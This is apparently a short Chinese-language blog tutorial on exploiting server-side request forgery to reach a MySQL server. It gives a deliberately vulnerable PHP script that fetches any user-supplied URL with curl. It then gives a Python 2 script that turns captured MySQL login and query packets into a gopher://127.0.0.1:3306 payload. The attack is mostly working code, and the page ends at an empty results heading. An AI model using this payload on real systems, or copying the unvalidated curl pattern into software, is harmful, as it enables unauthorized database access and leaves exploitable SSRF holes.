ssrf爆破mysql

?

1 2 3 4 5 6 7 8 9 10

php ssrf 代码<br><?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); $data =curl_exec($ch); curl_close($ch); echo $data; ?>

　

抓包跟踪tcp流

 

tcp流原始数据处理 进行urlencode

 

python 数据处理

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

import urllib   s="""5000000185a60f0000000001210000000000000000000000000000000000000000000000726f6f7400143cf76dd39987f1d2648aabfc4ae53cf62e826ea76d7973716c5f6e61746976655f70617373776f726400 210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031""" s = "".join(s.split())   def encode(s):     a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]     return "gopher://127.0.0.1:3306/_%" + "%".join(a)   s = encode(s) print "[+ local]", s   s = urllib.quote(s) print "[+ url]", s

　

效果：